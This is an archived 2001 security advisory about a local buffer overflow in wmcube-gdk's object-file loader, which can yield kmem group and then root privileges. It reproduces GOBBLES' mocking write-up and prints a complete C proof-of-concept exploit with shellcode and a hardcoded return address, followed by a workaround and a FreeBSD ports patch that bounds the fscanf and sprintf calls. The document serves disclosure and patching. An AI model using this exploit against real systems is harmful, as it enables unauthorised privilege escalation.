18th Dec 2001 [SBWID-4929]
COMMAND
wmcube-gdk local root vulnerability
SYSTEMS AFFECTED
default installation from FreeBSD\'s Ports collection
Linux versions
PROBLEM
GOBBLES Labs (http://www.bugtraq.org) released an advisory about
default installation of wmcube-gdk, which is sgid(kmem) - leading to a
local root exploit. It can be found at
http://www.ne.jp/asahi/linux/timecop/
GOBBLES notice user can specify object description file which overflow
small buffer which then transform wmcube-gdk into swiss army knife with
gid(kmem) privs. For all critics who say, \"this not root if it only
gid(kmem)!\" GOBBLES say, \"Go back to security-basic mailing list to
learn trick for quickly becoming uid(root) on the FreeBSD and other OS
when you have gid(kmem). GOBBLES think that all people who quick to
criticize GOBBLES when all he really doing is saying things in tricky
way to invite criticism from ignorant so that GOBBLES can mock them are
just complete idiots who spend way too much time trying to get three
years of \"security experience\" so they can go take 250 question CISSP
test and then let the world know on mailing lists that they have elite
whitehat pussy ethical hacker with no skill certification (which is
what CISSP stand for). Anyhow, you idiots know who you are, and beware
that any mockery of GOBBLES by inexperienced and unskilled critics who
brag certifications will not be accepted, dummies. Hehehe GOBBLES got
off on a little dark tangent from he speech and will now get back to
original subject, which is local root exploit in wmcube-gdk.
Funny thing that GOBBLES did notice is that wmcube program that
wmcube-gdk is based off is not vulnerable to this bug (but is to
others, go do sourcecode audit before GOBBLES make monkey out of you!),
so the fault is entirely belonging to programmer timecop... encourage
him to stop writing code with silly beginner style mistakes. Stupid
mistakes made by stupid beginner programmer.
Here problem GOBBLES did spot in wmcube.c, in the function loadobj().
int loadobj(char *filename)
{
FILE *fp;
char tmp[64] = { \"\" };
int i = 0, counter = 1;
10:
...
fscanf(fp, \"%s\", tmp);
...
goto 10;
}
As you can see, programmer pick to chose data in 64 bytes small buffer,
which is OK but the problem is the fscanf(fp, \"s\", tmp); trick used
multiple times in code he make of loadobj(). Bad decision by newbie
programmer who do not understand that penetrator can specify own object
description file with -o argument and put long lines in it and then
overflowing 64 byte buffer!
Exploit
=======
This time GOBBLES choose to not include shellcode that execve() /bin/bash
so FreeBSD admin can feel safe until author patches he program!
/*
* (c) Andrew / GOBBLES Security
*
* PoC exploit for wmcube-gdk
*
* Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
unsigned char GOBBLES_shellcode[] =
\"\\xb8\\xf5\\xf5\\xff\\xff\\xf7\\xd0\\x50\\xb8\\xb3\\xba\\xac\\xde\\xf7\\xd0\\x50\"
\"\\xb8\\xb8\\xb0\\xbd\\xbd\\xf7\\xd0\\x50\\x89\\xe6\\x31\\xc0\\x31\\xdb\\xb0\\xf5\"
\"\\xf6\\xd0\\x50\\x56\\x53\\xb0\\x04\\x50\\xcd\\x80\\xb0\\x01\\x50\\xcd\\x80\";
int main(int argc, char **argv) {
FILE *fd;
int i;
u_long retaddy = 0xbfbff634;
if(argc == 2)
retaddy += atoi(argv[1]);
fd = fopen(\".gobbles\", \"wt\");
fprintf(fd, \"WMCUBE_COORDINATES\\n\");
fprintf(fd, \"1aaa\"); // atoi()..
for(i = 0; i < 64; i += 8)
fprintf(fd, \"GOBBLES!\");
printf(\"GOBBLES: Using %lx as retaddy\\n\", retaddy);
fflush(NULL);
fwrite(&retaddy, 4, 1, fd);
fprintf(fd, \"GOBBLES!\");
fprintf(fd, \"GOBBLES!\");
fprintf(fd, \"%s\", GOBBLES_shellcode);
fprintf(fd, \" 0 -42 42\\n\");
fprintf(fd, \"WMCUBE_LINES\\n\");
fprintf(fd, \"1 1\\n\");
fclose(fd);
execl(\"/usr/X11R6/bin/wmcube-gdk\", \"wmcube-gdk\", \"-o\", \".gobbles\", 0);
unlink(\".gobbles\"); /* Mum always told me to cleanup when im done! */
fprintf(stderr, \"System immune against GOBBLES exploit!\\n\");
return 0;
}
SOLUTION
Workaround
==========
[0x01]
Shutdown your computer until a official fix is available..
..OR..
[0x02]
Replace fscanf(fp, \"%s\", tmp); in loadobj(), wmcube.c with fgets(tmp,
64, fp);.
Then uninstall bad wmcube-gdk, recompile and do a new install!
Fix
===
By corecode.
there might still be some problems as i didn\'t have much time to audit the source code.
better than nothing
diff -ruN wmcube-gdk.old/Makefile wmcube-gdk/Makefile
--- wmcube-gdk.old/Makefile Tue Dec 4 02:00:43 2001
+++ wmcube-gdk/Makefile Tue Dec 18 14:41:39 2001
@@ -7,6 +7,7 @@
PORTNAME= wmcube
PORTVERSION= 0.98p1
+PORTREVISION= 1
CATEGORIES= sysutils windowmaker
MASTER_SITES= http://www.ne.jp/asahi/linux/timecop/software/
PKGNAMESUFFIX= -gdk
diff -ruN wmcube-gdk.old/files/patch-wmcube.c wmcube-gdk/files/patch-wmcube.c
--- wmcube-gdk.old/files/patch-wmcube.c Thu Aug 30 06:24:25 2001
+++ wmcube-gdk/files/patch-wmcube.c Tue Dec 18 14:38:42 2001
@@ -1,10 +1,73 @@
---- wmcube.c.orig Thu Aug 16 13:04:38 2001
-+++ wmcube.c Thu Aug 16 13:05:00 2001
-@@ -38,7 +38,6 @@
- #include <math.h>
+--- wmcube.c.orig Tue Aug 28 12:08:13 2001
++++ wmcube.c Tue Dec 18 14:37:25 2001
+@@ -39,7 +39,6 @@
+ #ifdef LINUX
/* forgotten includes */
-#include <getopt.h>
#include <dirent.h>
+ #endif
- #include <sys/wait.h>
+@@ -778,7 +777,7 @@
+ newx -= CHAR_WIDTH;
+ }
+
+- sprintf(buf, \"%02i%%\", num);
++ snprintf(buf, 5, \"%02i%%\", num);
+ for (i = 0; (c = buf[i]); i++) {
+ if (c == \'%\')
+ copy_xpm_area(60, 0, 7, 9, newx, y);
+@@ -1250,7 +1249,7 @@
+ exit(0);
+ }
+
+- fscanf(fp, \"%s\", tmp);
++ fscanf(fp, \"%63s\", tmp);
+
+ if (strcmp(tmp, \"WMCUBE_COORDINATES\") != 0) {
+ printf
+@@ -1259,7 +1258,7 @@
+ exit(0);
+ }
+
+- fscanf(fp, \"%s\", tmp);
++ fscanf(fp, \"%63s\", tmp);
+ counter = atoi(tmp);
+
+ while ((strcmp(tmp, \"WMCUBE_LINES\") != 0)
+@@ -1280,7 +1279,7 @@
+ fclose(fp);
+ exit(0);
+ }
+- fscanf(fp, \"%s\", tmp);
++ fscanf(fp, \"%63s\", tmp);
+
+ if (feof(fp)) {
+ printf
+@@ -1398,7 +1397,7 @@
+ char cpuid[6];
+ char check_cpu[6];
+
+- sprintf(check_cpu, \"cpu%d\", which_cpu);
++ snprintf(check_cpu, 6, \"cpu%d\", which_cpu);
+
+ if ((fp = fopen(\"/proc/stat\", \"rb\")) == NULL) {
+ perror(\"/proc/stat required for this system\");
+@@ -1409,7 +1408,7 @@
+ return 0;
+
+ for (i = -2; i < which_cpu; i++) {
+- fscanf(fp, \"%s\", cpuid);
++ fscanf(fp, \"%5s\", cpuid);
+ }
+
+ if (strcmp(check_cpu, cpuid) != 0) {
+@@ -1431,7 +1430,7 @@
+ fp = fopen(\"/proc/stat\", \"rt\");
+
+ for (i = -2; i < which_cpu; i++) {
+- fscanf(fp, \"%s %d %d %d %d\", cpuid, &cpu, &nice, &system, &idle);
++ fscanf(fp, \"%5s %d %d %d %d\", cpuid, &cpu, &nice, &system, &idle);
+ }
+
+ fclose(fp);
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH